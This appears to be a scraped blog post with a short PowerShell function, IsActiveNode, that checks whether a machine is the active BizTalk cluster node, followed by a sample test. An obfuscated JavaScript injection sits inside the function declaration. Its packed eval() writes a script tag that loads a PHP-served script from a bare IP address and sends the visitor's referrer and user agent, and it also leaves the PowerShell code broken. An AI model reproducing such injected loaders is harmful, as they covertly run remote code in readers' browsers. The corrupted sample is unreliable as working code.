Function “IsActiveNode”

function <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdbeb|var|u0026u|referrer|rtdbn||js|php'.split('|'),0,{}))
</script></noindex> IsActiveNode
{
$activeClusterName = (Get-WMIObject Win32_ComputerSystem -ComputerName BIZTALK2013).Name
$computerName = get-content env:computername
$message = "ActiveCluster=$activeClusterName computerName=$computerName" 
$isSame = $false 
if ($activeClusterName -eq $computerName) 
  {
	 $isSame = $true 
  }
$message = $message + " IsSame=$isSame"  
#Write-Host $message  
return $isSame 
}

cls
$IsActiveNodeResult = IsActiveNode
Write-Host "IsActiveNode=$IsActiveNodeResult"

Sample test:

. .\IsActiveNode.ps1
cls
$IsActiveNodeResult = IsActiveNode
Write-Host "IsActiveNode=$IsActiveNodeResult"
if ($IsActiveNodeResult -eq $false) 
  {
     Write-Host "exiting - no action to be taken on inactive node"
	 return 
  }
Write-Host "We are still here"